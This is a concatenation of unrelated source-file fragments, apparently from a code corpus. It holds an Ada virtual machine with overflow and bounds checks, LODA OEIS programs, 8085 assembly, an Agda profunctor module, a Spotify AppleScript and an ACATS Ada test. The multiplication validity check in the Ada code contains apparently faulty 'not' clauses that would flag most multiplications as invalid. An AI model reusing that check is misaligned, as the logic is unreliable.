if Regs(Rs2) = 0 or (Regs(Rs1) = IntegerVal'First and Regs(Rs2) = -1) then
Ret := IllegalProgram;
else
Regs(Rd) := Regs(Rs1) / Regs(Rs2);
Ret := Success;
end if;
end DoDiv;
-- performs LDR instruction
procedure DoLdr(Rd : in Reg; Rs : in Reg; Offs : in Offset; Ret : out ReturnCode; Regs : in out IntegerRegister; Mem : in IntegerMemory) is
begin
-- check for memory access out-of-bounds
if (Integer(Regs (Rs)) > Integer(Addr'Last) - Integer(Offs)) or
(Integer(Regs (Rs)) < Integer(Addr'First) - Integer(Offs)) then
Ret := IllegalProgram;
else
Regs(Rd) := Mem(Addr(Regs(Rs) + IntegerVal(Offs)));
Ret := Success;
end if;
end DoLdr;
-- performs STR instruction
procedure DoStr(Ra : in Reg; Offs : in Offset; Rb : in Reg; Ret : out ReturnCode; Regs : in IntegerRegister; Mem : in out IntegerMemory) is
begin
-- check for memory access out-of-bounds
if (Integer(Regs (Ra) ) > Integer(Addr'Last) - Integer(Offs)) or
(Integer(Regs (Ra)) < Integer(Addr'First) - Integer(Offs)) then
Ret := IllegalProgram;
else
Mem(Addr(Regs(Ra) + IntegerVal(Offs))) := Regs(Rb);
Ret := Success;
end if;
end DoStr;
-- performs MOV instruction
procedure DoMov(Rd : in Reg; Offs : in Offset; Ret : out ReturnCode; Regs : in out IntegerRegister) is
begin
-- check for offset overflow
if Integer(Offs) >= Integer(Offset'First) and Integer(Offs) <= Integer(Offset'Last) then
Regs(Rd) := IntegerVal(Offs);
Ret := Success;
else
Ret := IllegalProgram;
end if;
end DoMov;
-- executes the virtual machine
procedure ExecuteProgram(Prog : in Program; Cycles : in Integer; Ret : out ReturnCode; Result : out Integer) is
-- the current cycle count
CycleCount : Integer := 0;
-- the current instruction
Inst : Instr;
-- the registers
Regs : IntegerRegister := (others => 0);
-- the memory
Mem : IntegerMemory := (others => 0);
-- the program counter
PC : ProgramCounter := ProgramCounter'First;
begin
Ret := Success;
Result := 0;
-- exit loop if cycles exhausted or success not returned
while (CycleCount < Cycles and Ret = Success) loop
Inst := Prog(PC);
-- debug print pc and current instruction
Put(Integer(PC)); Put(':'); Put(Ada.Characters.Latin_1.HT);
DebugPrintInstr(Inst);
New_Line;
-- call respective procedure based on instruction operand
case Inst.Op is
when ADD =>
DoAdd(Inst.AddRd, Inst.AddRs1, Inst.AddRs2, Ret, Regs);
IncPC(Ret, 1, PC);
when SUB =>
DoSub(Inst.SubRd, Inst.SubRs1, Inst.SubRs2, Ret, Regs);
IncPC(Ret, 1, PC);
when MUL =>
DoMul(Inst.MulRd, Inst.MulRs1, Inst.MulRs2, Ret, Regs);
IncPC(Ret, 1, PC);
when DIV =>
DoDiv(Inst.DivRd, Inst.DivRs1, Inst.DivRs2, Ret, Regs);
IncPC(Ret, 1, PC);
when LDR =>
DoLdr(Inst.LdrRd, Inst.LdrRs, Inst.LdrOffs, Ret, Regs, Mem);
IncPC(Ret, 1, PC);
when STR =>
DoStr(Inst.StrRa, Inst.StrOffs, Inst.StrRb, Ret, Regs, Mem);
IncPC(Ret, 1, PC);
when MOV =>
DoMov(Inst.MovRd, Inst.MovOffs, Ret, Regs);
IncPC(Ret, 1, PC);
when Instruction.RET =>
Result := Integer(Regs(Inst.RetRs));
Ret := Success;
return;
when JMP =>
IncPC(Ret, Inst.JmpOffs, PC);
when JZ =>
if Regs(Inst.JzRa) = 0 then
IncPC(Ret, Inst.JzOffs, PC);
else
IncPC(Ret, 1, PC);
end if;
when NOP =>
IncPC(Ret, 1, PC);
end case;
CycleCount := CycleCount + 1;
end loop;
-- Cycles instructions executed without a RET or invalid behaviour
if Ret = Success then
Ret := CyclesExhausted;
end if;
end ExecuteProgram;
-- detects if a register or memory variable is uninitialised
function DetectUninitializedVariable(Val : in DataVal) return Boolean is
begin
return Val.State = Uninitialized;
end DetectUninitializedVariable;
-- detects invalid ADD instruction behaviour
function DetectInvalidAdd(Inst : in Instr; Regs: in Register) return Boolean is
begin
return -- {Rb : ?, Rc : ?}
(DetectUninitializedVariable(Regs(Inst.AddRs1)) and DetectUninitializedVariable(Regs(Inst.AddRs2))) or
-- {Rb : 0, Rc : ?}
(Regs(Inst.AddRs1).State = Initialized and then Regs(Inst.AddRs2).State = Uninitialized and then Regs(Inst.AddRs1).Value /= 0) or
-- {Rb : ?, Rc : 0}
(Regs(Inst.AddRs1).State = Uninitialized and then Regs(Inst.AddRs2).State = Initialized and then Regs(Inst.AddRs2).Value /= 0) or
-- {Rb : X, Rc : Y}
(Regs(Inst.AddRs1).State = Initialized and then Regs(Inst.AddRs2).State = Initialized and then (
-- {Rb : X, Rc : +Y}
(Regs(Inst.AddRs2).Value > 0 and then Regs(Inst.AddRs1).Value > IntegerVal'Last - Regs(Inst.AddRs2).Value) or
-- {Rb : X, Rc : -Y}
(Regs(Inst.AddRs2).Value < 0 and then Regs(Inst.AddRs1).Value < IntegerVal'First - Regs(Inst.AddRs2).Value)
));
end DetectInvalidAdd;
-- detects invalid SUB instruction behaviour
function DetectInvalidSub(Inst : in Instr; Regs: in Register) return Boolean is
begin
return -- {Rb : ?, Rc : ?}
(DetectUninitializedVariable(Regs(Inst.SubRs1)) and DetectUninitializedVariable(Regs(Inst.SubRs2))) or
-- {Rb : -1, Rc : ?}
(Regs(Inst.SubRs1).State = Initialized and then Regs(Inst.SubRs2).State = Uninitialized and then Regs(Inst.SubRs1).Value /= -1) or
-- {Rb : ?, Rc : 0}
(Regs(Inst.SubRs1).State = Uninitialized and then Regs(Inst.SubRs2).State = Initialized and then Regs(Inst.SubRs2).Value /= 0) or
-- {Rb : X, Rc : Y}
(Regs(Inst.SubRs1).State = Initialized and then Regs(Inst.SubRs2).State = Initialized and then (
-- {Rb : X, Rc : -Y}
(Regs(Inst.SubRs2).Value < 0 and then (Regs(Inst.SubRs1).Value > IntegerVal'Last + Regs(Inst.SubRs2).Value)) or
-- {Rb : X, Rc : +Y}
(Regs(Inst.SubRs2).Value > 0 and then (Regs(Inst.SubRs1).Value < IntegerVal'First + Regs(Inst.SubRs2).Value))
));
end DetectInvalidSub;
-- detects invalid MUL instruction behaviour
function DetectInvalidMul(Inst : in Instr; Regs: in Register) return Boolean is
begin
return -- {Rb : ?, Rc : ?}
(DetectUninitializedVariable(Regs(Inst.MulRs1)) and DetectUninitializedVariable(Regs(Inst.MulRs2))) or
-- {Rb : 1, Rc : ?}
(Regs(Inst.MulRs1).State = Initialized and then Regs(Inst.MulRs2).State = Uninitialized and then Regs(Inst.MulRs1).Value /= 1) or
-- {Rb : 0, Rc : ?}
(Regs(Inst.MulRs1).State = Initialized and then Regs(Inst.MulRs2).State = Uninitialized and then Regs(Inst.MulRs1).Value /= 0) or
-- {Rb : ?, Rc : 1}
(Regs(Inst.MulRs1).State = Uninitialized and then Regs(Inst.MulRs2).State = Initialized and then Regs(Inst.MulRs2).Value /= 1) or
-- {Rb : ?, Rc : 0}
(Regs(Inst.MulRs1).State = Uninitialized and then Regs(Inst.MulRs2).State = Initialized and then Regs(Inst.MulRs2).Value /= 0) or
-- {Rb : X, Rc : Y}
(Regs(Inst.MulRs1).State = Initialized and then Regs(Inst.MulRs2).State = Initialized and then (
-- {Rb : +X, Rc : +Y}
(Regs(Inst.MulRs1).Value > 0 and then Regs(Inst.MulRs2).Value > 0 and then Regs(Inst.MulRs1).Value > IntegerVal'Last / Regs(Inst.MulRs2).Value) or
-- {Rb : -X, Rc : -Y}
(Regs(Inst.MulRs1).Value < 0 and then Regs(Inst.MulRs2).Value < 0 and then Regs(Inst.MulRs1).Value > IntegerVal'Last / Regs(Inst.MulRs2).Value) or
-- {Rb : -X, Rc : +Y}
(Regs(Inst.MulRs1).Value < 0 and then Regs(Inst.MulRs2).Value > 0 and then Regs(Inst.MulRs1).Value < IntegerVal'First / Regs(Inst.MulRs2).Value) or
-- {Rb : +X, Rc : -Y}
(Regs(Inst.MulRs1).Value > 0 and then Regs(Inst.MulRs2).Value < 0 and then Regs(Inst.MulRs2).Value < IntegerVal'First / Regs(Inst.MulRs1).Value) or
-- {Rb : 0, Rc : Y}
not (Regs(Inst.MulRs1).Value = 0 and then Regs(Inst.MulRs2).Value > 0 and then Regs(Inst.MulRs1).Value > IntegerVal'Last / Regs(Inst.MulRs2).Value) or
-- {Rb : X, Rc : 0}
not (Regs(Inst.MulRs2).Value = 0 and then Regs(Inst.MulRs1).Value > 0 and then Regs(Inst.MulRs2).Value > IntegerVal'Last / Regs(Inst.MulRs1).Value)
));
end DetectInvalidMul;
-- detects invalid DIV instruction behaviour
function DetectInvalidDiv(Inst : in Instr; Regs: in Register) return Boolean is
begin
return -- {Rb : ?, Rc : ?}
(DetectUninitializedVariable(Regs(Inst.DivRs1)) and DetectUninitializedVariable(Regs(Inst.DivRs2))) or
-- {Rb : X, Rc : ?}
(Regs(Inst.DivRs1).State = Initialized and then Regs(Inst.DivRs2).State = Uninitialized) or
-- {Rb : ?, Rc : 0}
(Regs(Inst.DivRs1).State = Uninitialized and then Regs(Inst.DivRs2).State = Initialized and then Regs(Inst.DivRs2).Value = 0) or
-- {Rb : ?, Rc : -1}
(Regs(Inst.DivRs1).State = Uninitialized and then Regs(Inst.DivRs2).State = Initialized and then Regs(Inst.DivRs2).Value = -1) or
-- {Rb : X, Rc : Y}
(Regs(Inst.DivRs1).State = Initialized and then Regs(Inst.DivRs2).State = Initialized and then (
-- {Rb : X, Rc : 0}
(Regs(Inst.DivRs2).Value = 0) or
-- {Rb : -(2**31), Rc : -1}
(Regs(Inst.DivRs1).Value = IntegerVal'First and Regs(Inst.DivRs2).Value = -1)
));
end DetectInvalidDiv;
-- detects invalid LDR instruction behaviour
function DetectInvalidLdr(Inst : in Instr; Regs: in Register) return Boolean is
begin
return (DetectUninitializedVariable(Regs(Inst.LdrRs))) or
(Regs(Inst.LdrRs).State = Initialized and then (
(Regs(Inst.LdrRs).Value < IntegerVal(Addr'First) - IntegerVal(Inst.LdrOffs)) or
(Regs(Inst.LdrRs).Value > IntegerVal(Addr'Last) - IntegerVal(Inst.LdrOffs))
));
end DetectInvalidLdr;
-- detects invalid STR instruction behaviour
function DetectInvalidStr(Inst : in Instr; Regs: in Register) return Boolean is
begin
return (DetectUninitializedVariable(Regs(Inst.StrRa))) or
(Regs(Inst.StrRa).State = Initialized and then (
(Regs(Inst.StrRa).Value < IntegerVal(Addr'First) - IntegerVal(Inst.StrOffs)) or
(Regs(Inst.StrRa).Value > IntegerVal(Addr'Last) - IntegerVal(Inst.StrOffs))
));
end DetectInvalidStr;
-- detects invalid MOV instruction behaviour
function DetectInvalidMov(Inst : in Instr) return Boolean is
begin
return -- MOV Ra -65536
(Inst.MovOffs < Offset'First) or
-- MOV Ra 65536
(Inst.MovOffs > Offset'Last);
end DetectInvalidMov;
-- detects invalid JMP instruction behaviour
function DetectInvalidJmp(Inst : in Instr; PC : in ProgramCounter) return Boolean is
begin
return -- JMP 0 (infinite loop)
(Integer(Inst.JmpOffs) = 0) or
-- JMP before program starts
(Integer(PC) + Integer(Inst.JmpOffs) < Integer(ProgramCounter'First)) or
-- JMP after program ends
(Integer(PC) + Integer(Inst.JmpOffs) > Integer(ProgramCounter'Last));
end DetectInvalidJmp;
-- detects invalid JZ instruction behaviour
function DetectInvalidJz(Inst : in Instr; PC : in ProgramCounter; Regs: in Register) return Boolean is
begin
return -- {Ra : X}
(Regs(Inst.JzRa).State = Initialized and then (
-- JZ 0 X
(Regs(Inst.JzRa).Value = 0 and then (
-- JZ 0 0 (infinite loop)
(Integer(Inst.JzOffs) = 0) or
-- JZ before program starts
(Integer(PC) + Integer(Inst.JzOffs) < Integer(ProgramCounter'First)) or
-- JZ after program ends
(Integer(PC) + Integer(Inst.JzOffs) > Integer(ProgramCounter'Last))
)) or
-- JZ /0 X
(Regs(Inst.JzRa).Value /= 0 and then (
-- JZ before program starts
(Integer(PC) + 1 < Integer(ProgramCounter'First)) or
-- JZ after program ends
(Integer(PC) + 1 > Integer(ProgramCounter'Last)))
)
)) or
-- {Ra : ?}
(Regs(Inst.JzRa).State = Uninitialized and then (
-- JZ 0 X
(Regs(Inst.JzRa).Garbage = 0 and then (
-- JZ 0 0 (infinite loop)
(Integer(Inst.JzOffs) = 0) or
-- JZ before program starts
(Integer(PC) + Integer(Inst.JzOffs) < Integer(ProgramCounter'First)) or
-- JZ after program ends
(Integer(PC) + Integer(Inst.JzOffs) > Integer(ProgramCounter'Last))
)) or
-- JZ /0 X
(Regs(Inst.JzRa).Garbage /= 0 and then (
-- JZ before program starts
(Integer(PC) + 1 < Integer(ProgramCounter'First)) or
-- JZ after program ends
(Integer(PC) + 1 > Integer(ProgramCounter'Last)))
)
));
end DetectInvalidJz;
-- detects if a program has exhausted the given cycles
function DetectInvalidCycle(CycleCount : in Integer; Cycles : in Integer) return Boolean is
begin
return not (CycleCount < Cycles);
end DetectInvalidCycle;
-- detects invalid program counter values
function DetectInvalidPC(PC : in ProgramCounter; Offs : in Offset) return Boolean is
begin
return -- PC > 65536
(Integer(PC) > Integer(ProgramCounter'Last) - Integer(Offs)) or
-- PC < 1
(Integer(PC) < Integer(ProgramCounter'First) - Integer(Offs));
end DetectInvalidPC;
-- performs ADD instruction
procedure PerformAdd(Inst : in Instr; PC : in out ProgramCounter; Regs : in out Register; Ret : in out Boolean) is
begin
if not (DetectInvalidAdd(Inst, Regs) or DetectInvalidPC(PC, 1)) then
-- {Rb : X, Rc : Y}
if Regs(Inst.AddRs1).State = Initialized and then Regs(Inst.AddRs2).State = Initialized then
Regs(Inst.AddRd) := (State => Initialized,
Value => Regs(Inst.AddRs1).Value + Regs(Inst.AddRs2).Value);
-- {Rb : X, Rc : ?}
elsif Regs(Inst.AddRs1).State = Initialized and then Regs(Inst.AddRs2).State = Uninitialized then
Regs(Inst.AddRd) := (State => Initialized,
Value => Regs(Inst.AddRs1).Value + Regs(Inst.AddRs2).Garbage);
-- {Rb : ?, Rc : Y}
elsif Regs(Inst.AddRs1).State = Uninitialized and then Regs(Inst.AddRs2).State = Initialized then
Regs(Inst.AddRd) := (State => Initialized,
Value => Regs(Inst.AddRs1).Garbage + Regs(Inst.AddRs2).Value);
end if;
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
end PerformAdd;
-- performs ADD instruction
procedure PerformSub(Inst : in Instr; PC : in out ProgramCounter; Regs : in out Register; Ret : in out Boolean) is
begin
if not (DetectInvalidSub(Inst, Regs) or DetectInvalidPC(PC, 1)) then
-- {Rb : X, Rc : Y}
if Regs(Inst.SubRs1).State = Initialized and then Regs(Inst.SubRs2).State = Initialized then
Regs(Inst.SubRd) := (State => Initialized,
Value => Regs(Inst.SubRs1).Value - Regs(Inst.SubRs2).Value);
-- {Rb : X, Rc : ?}
elsif Regs(Inst.SubRs1).State = Initialized and then Regs(Inst.SubRs2).State = Uninitialized then
Regs(Inst.SubRd) := (State => Initialized,
Value => Regs(Inst.SubRs1).Value - Regs(Inst.SubRs2).Garbage);
-- {Rb : ?, Rc : Y}
elsif Regs(Inst.SubRs1).State = Uninitialized and then Regs(Inst.SubRs2).State = Initialized then
Regs(Inst.SubRd) := (State => Initialized,
Value => Regs(Inst.SubRs1).Garbage - Regs(Inst.SubRs2).Value);
end if;
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
end PerformSub;
-- performs MUL instruction
procedure PerformMul(Inst : in Instr; PC : in out ProgramCounter; Regs : in out Register; Ret : in out Boolean) is
begin
if not (DetectInvalidMul(Inst, Regs) or DetectInvalidPC(PC, 1)) then
-- {Rb : X, Rc : Y}
if Regs(Inst.MulRs1).State = Initialized and then Regs(Inst.MulRs2).State = Initialized then
Regs(Inst.MulRd) := (State => Initialized,
Value => Regs(Inst.MulRs1).Value * Regs(Inst.MulRs2).Value);
-- {Rb : X, Rc : ?}
elsif Regs(Inst.MulRs1).State = Initialized and then Regs(Inst.MulRs2).State = Uninitialized then
Regs(Inst.MulRd) := (State => Initialized,
Value => Regs(Inst.MulRs1).Value * Regs(Inst.MulRs2).Garbage);
-- {Rb : ?, Rc : Y}
elsif Regs(Inst.MulRs1).State = Uninitialized and then Regs(Inst.MulRs2).State = Initialized then
Regs(Inst.MulRd) := (State => Initialized,
Value => Regs(Inst.MulRs1).Garbage * Regs(Inst.MulRs2).Value);
end if;
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
end PerformMul;
-- performs DIV instruction
procedure PerformDiv(Inst : in Instr; PC : in out ProgramCounter; Regs : in out Register; Ret : in out Boolean) is
begin
if not (DetectInvalidDiv(Inst, Regs) or DetectInvalidPC(PC, 1)) then
-- {Rb : X, Rc : Y}
if Regs(Inst.DivRs1).State = Initialized and Regs(Inst.DivRs2).State = Initialized then
Regs(Inst.DivRd) := (State => Initialized,
Value => Regs(Inst.DivRs1).Value / Regs(Inst.DivRs2).Value);
-- {Rb : ?, Rc : Y}
elsif Regs(Inst.DivRs1).State = Uninitialized and then Regs(Inst.DivRs2).State = Initialized then
Regs(Inst.DivRd) := (State => Initialized,
Value => Regs(Inst.DivRs1).Garbage / Regs(Inst.DivRs2).Value);
end if;
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
end PerformDiv;
-- performs LDR instruction
procedure PerformLdr(Inst : in Instr; PC : in out ProgramCounter; Regs : in out Register; Mem : in Memory; Ret : in out Boolean) is
begin
if not (DetectInvalidLdr(Inst, Regs) or DetectInvalidPC(PC, 1)) and Regs(Inst.LdrRs).State = Initialized then
-- memory value has been initialised
if Mem(Addr(Regs(Inst.LdrRs).Value + IntegerVal(Inst.LdrOffs))).State = Initialized then
Regs(Inst.LdrRd) := (State => Initialized,
Value => Mem(Addr(Regs(Inst.LdrRs).Value + IntegerVal(Inst.LdrOffs))).Value);
-- memory value has not been initialised
elsif Mem(Addr(Regs(Inst.LdrRs).Value + IntegerVal(Inst.LdrOffs))).State = Uninitialized then
Regs(Inst.LdrRd) := (State => Initialized,
Value => Mem(Addr(Regs(Inst.LdrRs).Value + IntegerVal(Inst.LdrOffs))).Garbage);
end if;
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
end PerformLdr;
-- performs STR instruction
procedure PerformStr(Inst : in Instr; PC : in out ProgramCounter; Regs : in Register; Mem : in out Memory; Ret : in out Boolean) is
begin
if not (DetectInvalidStr(Inst, Regs) or DetectInvalidPC(PC, 1)) and Regs(Inst.StrRa).State = Initialized then
-- register value has been initialised
if Regs(Inst.StrRb).State = Initialized then
-- initialise memory value
Mem(Addr(Regs(Inst.StrRa).Value + IntegerVal(Inst.StrOffs))) := (State => Initialized,
Value => Regs(Inst.StrRb).Value);
-- register value has not been initialised
elsif Regs(Inst.StrRb).State = Uninitialized then
-- initialise memory value
Mem(Addr(Regs(Inst.StrRa).Value + IntegerVal(Inst.StrOffs))) := (State => Initialized,
Value => Regs(Inst.StrRb).Garbage);
end if;
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
end PerformStr;
-- performs MOV instruction
procedure PerformMov(Inst : in Instr; PC : in out ProgramCounter; Regs : in out Register; Ret : in out Boolean) is
begin
if not (DetectInvalidMov(Inst) or DetectInvalidPC(PC, 1)) then
-- initialise register value
Regs(Inst.MovRd) := (State => Initialized,
Value => IntegerVal(Inst.MovOffs));
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
end PerformMov;
-- performs RET instruction
procedure PerformRet(Ret : out Boolean) is
begin
Ret := False;
end PerformRet;
-- performs JMP instruction
procedure PerformJmp(Inst : in Instr; PC : in out ProgramCounter; Ret : in out Boolean) is
begin
if not (DetectInvalidJmp(Inst, PC) or DetectInvalidPC(PC, Inst.JmpOffs)) then
PC := ProgramCounter(Integer(PC) + Integer(Inst.JmpOffs));
Ret := False;
end if;
end PerformJmp;
-- performs JZ instruction
procedure PerformJz(Inst : in Instr; PC : in out ProgramCounter; Regs : in Register; Ret : in out Boolean) is
begin
if not DetectInvalidJz(Inst, PC, Regs) then
-- {Ra : 0}
if (Regs(Inst.JzRa).State = Initialized) and then (Regs(Inst.JzRa).Value = 0) then
if not DetectInvalidPC(PC, Inst.JzOffs) then
PC := ProgramCounter(Integer(PC) + Integer(Inst.JzOffs));
Ret := False;
end if;
-- {Ra : /0}
elsif (Regs(Inst.JzRa).State = Initialized) and then (Regs(Inst.JzRa).Value /= 0) then
if not DetectInvalidPC(PC, 1) then
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
-- {Ra : ?}
elsif Regs(Inst.JzRa).State = Uninitialized and Regs(Inst.JzRa).Garbage = 0 then
if not DetectInvalidPC(PC, Inst.JzOffs) then
PC := ProgramCounter(Integer(PC) + Integer(Inst.JzOffs));
Ret := False;
end if;
-- {Ra : ?}
elsif Regs(Inst.JzRa).State = Uninitialized and Regs(Inst.JzRa).Garbage /= 0 then
if not DetectInvalidPC(PC, 1) then
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
end if;
end if;
end PerformJz;
-- performs NOP instruction
procedure PerformNop(PC : in out ProgramCounter; Ret : in out Boolean) is
begin
if not DetectInvalidPC(PC, 1) then
PC := ProgramCounter(Integer(PC) + Integer(1));
Ret := False;
end if;
end PerformNop;
-- performs dynamic analysis to detect invalid behaviour
function DynamicAnalysis(Prog : in Program; Cycles : in Integer) return Boolean is
CycleCount : Integer := 0;
Inst : Instr;
PC : ProgramCounter := ProgramCounter'First;
Regs : Register;
Mem : Memory;
Ret : Boolean := True;
begin
-- set registers and memory to uninitialised values
Regs := (others => (State => Uninitialized, Garbage => 0));
Mem := (others => (State => Uninitialized, Garbage => 0));
while not DetectInvalidCycle(CycleCount, Cycles) loop
Inst := Prog(PC);
Ret := True;
-- debug print pc and current instruction
-- Put(Integer(PC)); Put(':'); Put(Ada.Characters.Latin_1.HT);
-- DebugPrintInstr(Inst);
-- New_Line;
-- call respective procedure based on instruction operand
case Inst.Op is
when ADD =>
PerformAdd(Inst, PC, Regs, Ret);
when SUB =>
PerformSub(Inst, PC, Regs, Ret);
when MUL =>
PerformMul(Inst, PC, Regs, Ret);
when DIV =>
PerformDiv(Inst, PC, Regs, Ret);
when LDR =>
PerformLdr(Inst, PC, Regs, Mem, Ret);
when STR =>
PerformStr(Inst, PC, Regs, Mem, Ret);
when MOV =>
PerformMov(Inst, PC, Regs, Ret);
when Instruction.RET =>
PerformRet(Ret);
exit;
when JMP =>
PerformJmp(Inst, PC, Ret);
when JZ =>
PerformJz(Inst, PC, Regs, Ret);
when NOP =>
PerformNop(PC, Ret);
end case;
-- terminate early if invalid behaviour detected
exit when (Ret = True);
CycleCount := CycleCount + 1;
end loop;
return Ret;
end DynamicAnalysis;
-- detects invalid behaviour before executing the program
function DetectInvalidBehaviour(Prog : in Program; Cycles : in Integer) return Boolean is
begin
return Ret : Boolean do
Ret := DynamicAnalysis(Prog, Cycles);
end return;
end DetectInvalidBehaviour;
end Machine;
|
programs/oeis/140/A140721.asm | karttu/loda | 0 | 6501 | <gh_stars>0
; A140721: Alternated reading of A000302 and negated A002042.
; 1,-7,4,-28,16,-112,64,-448,256,-1792,1024,-7168,4096,-28672,16384,-114688,65536,-458752,262144,-1835008,1048576,-7340032,4194304,-29360128,16777216,-117440512,67108864,-469762048,268435456,-1879048192,1073741824
mov $2,$0
mod $2,2
mov $4,2
pow $4,$0
add $0,9
mov $1,$4
mul $2,$4
mov $3,9
lpb $0,1
mov $0,1
mul $1,2
mul $3,$2
sub $1,$3
lpe
sub $1,2
div $1,2
add $1,1
|
src/Category/Strong.agda | crisoagf/agda-optics | 0 | 9340 | module Category.Strong where
open import Data.Product using (_×_)
open import Agda.Primitive using (Level; _⊔_; lsuc)
open import Category.Profunctor
record StrongImp {a b : Level} (p : Set a → Set a → Set b) : Set (lsuc (a ⊔ b)) where
field
isProfunctor : ProfunctorImp p
first' : ∀ {x y z : Set a} → p x y → p (x × z) (y × z)
second' : ∀ {x y z : Set a} → p x y → p (z × x) (z × y)
module Strong {a b : Level} {p : Set a → Set a → Set b} (isStrong : StrongImp p) where
first : ∀ {x y z : Set a} → p x y → p (x × z) (y × z)
first = StrongImp.first' isStrong
second : ∀ {x y z : Set a} → p x y → p (z × x) (z × y)
second = StrongImp.second' isStrong
open Profunctor (StrongImp.isProfunctor isStrong)
|
programs/oeis/088/A088137.asm | neoneye/loda | 22 | 172707 | <reponame>neoneye/loda
; A088137: Generalized Gaussian Fibonacci integers.
; 0,1,2,1,-4,-11,-10,13,56,73,-22,-263,-460,-131,1118,2629,1904,-4079,-13870,-15503,10604,67717,103622,4093,-302680,-617639,-327238,1198441,3378596,3161869,-3812050,-17109707,-22783264,5762593,79874978,142462177,45299420,-336787691,-809473642,-608584211,1211252504,4248257641,4862757770,-3019257383,-20626788076,-32195804003,-2511243778,91564924453,190663580240,106632387121,-358725966478,-1037349094319,-998520289204,1115006704549,5225574276710,7106128439773,-1464465950584,-24247317220487,-44101236589222,-15460521516983,101382666733700,249146898018349,194145795835598,-359149102383851,-1300735592274496,-1524023877397439,854159022028610,6280389676249537,9998302286413244,1155435544077877,-27684035771083978,-58834378174401587,-34616649035551240,107269836452102281,318389620010858282,314969730665409721,-325229398701755404,-1595367989399739971,-2215047782694213730,356008402810792453,7357160153704226096,13646295098976074833,5221109736839471378,-30496665823249281743,-76656660857016977620,-61823324244286110011,106323334082478712838,398116640897815755709,477263279548195372904,-239823363597056521319,-1911436565838699161350,-3103403040886228758743,-472496384256360033436,8365216354145966209357,18147921861061012519022,11200194659684126409973,-32043376263814784737120,-97687336506681948704159,-99244544221919543196958,94572921076206759718561
mul $0,2
mov $2,$0
mov $3,2
lpb $2
mov $4,$1
add $1,$3
add $1,3
sub $2,2
mul $4,2
sub $3,$4
lpe
div $1,5
mov $0,$1
|
Spotify/SpotifyPreviousTrack.applescript | yaroschiffelers/Applescripts | 0 | 1920 | <reponame>yaroschiffelers/Applescripts<filename>Spotify/SpotifyPreviousTrack.applescript
-- Spotify Next Track
--
-- Plays previous Spotify track. Does nothing if Spotify is not active.
--
-- <NAME> | 06/2017
-- https://github.com/yaroschiffelers
tell application "System Events"
get name of every process whose name is "Spotify"
if result is not {} then
tell application "Spotify"
previous track
end tell
else
end if
end tell |
8085_programming/MBLE/6.asm | SayanGhoshBDA/code-backup | 16 | 171358 | ; using of LHLD and SHLD operations
LXI H, 0000H
MVI M, 12H
LXI H, 0001H
MVI M, 34H
LHLD 0000H ; this copies the contents of 4100H to H and 4101H to L
SHLD 0002H
HLT |
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cc/cc1301a.ada | best08618/asylo | 7 | 28229 | -- CC1301A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT DEFAULT GENERIC SUBPROGRAM PARAMETERS WORK CORRECTLY,
-- INCLUDING OVERLOADED AND PREDEFINED OPERATOR_SYMBOLS,
-- AND SUBPROGRAMS HIDDEN AT THE INSTANTIATION.
-- BOTH KINDS OF DEFAULTS ARE TESTED, FOR BOTH PROCEDURES
-- AND FUNCTIONS.
-- DAT 8/14/81
-- JBG 5/5/83
-- JBG 8/3/83
WITH REPORT; USE REPORT;
PROCEDURE CC1301A IS
FUNCTION "-" (R, S : INTEGER) RETURN INTEGER;
FUNCTION NEXT (X : INTEGER) RETURN INTEGER;
PROCEDURE BUMP (X : IN OUT INTEGER);
GENERIC
WITH FUNCTION "*" (A, B : INTEGER) RETURN INTEGER IS "-";
WITH FUNCTION "+" (R, S: INTEGER) RETURN INTEGER IS
STANDARD."+";
WITH FUNCTION "-" (A, B : INTEGER) RETURN INTEGER IS <> ;
WITH FUNCTION NEXTO (Q : INTEGER) RETURN INTEGER IS NEXT ;
WITH PROCEDURE BUMPO (A : IN OUT INTEGER) IS BUMP;
WITH FUNCTION NEXT (Q : INTEGER) RETURN INTEGER IS <> ;
WITH PROCEDURE BUMP (Q : IN OUT INTEGER) IS <> ;
TYPE INTEGER IS RANGE <> ;
WITH FUNCTION "*" (A , B : INTEGER) RETURN INTEGER IS <> ;
WITH FUNCTION "-" (A, B : INTEGER) RETURN INTEGER IS <> ;
WITH FUNCTION NEXT (Q : INTEGER) RETURN INTEGER IS <> ;
WITH PROCEDURE BUMP (Z : IN OUT INTEGER) IS <> ;
PACKAGE PKG IS
SUBTYPE INT IS STANDARD.INTEGER;
DIFF : INT := -999;
END PKG;
TYPE NEWINT IS NEW INTEGER RANGE -1000 .. 1000;
FUNCTION PLUS (Q1, Q2 : INTEGER) RETURN INTEGER RENAMES "+";
FUNCTION "+" (X, Y : INTEGER) RETURN INTEGER IS
BEGIN
RETURN PLUS (X, PLUS (Y, -10));
-- (X + Y - 10)
END "+";
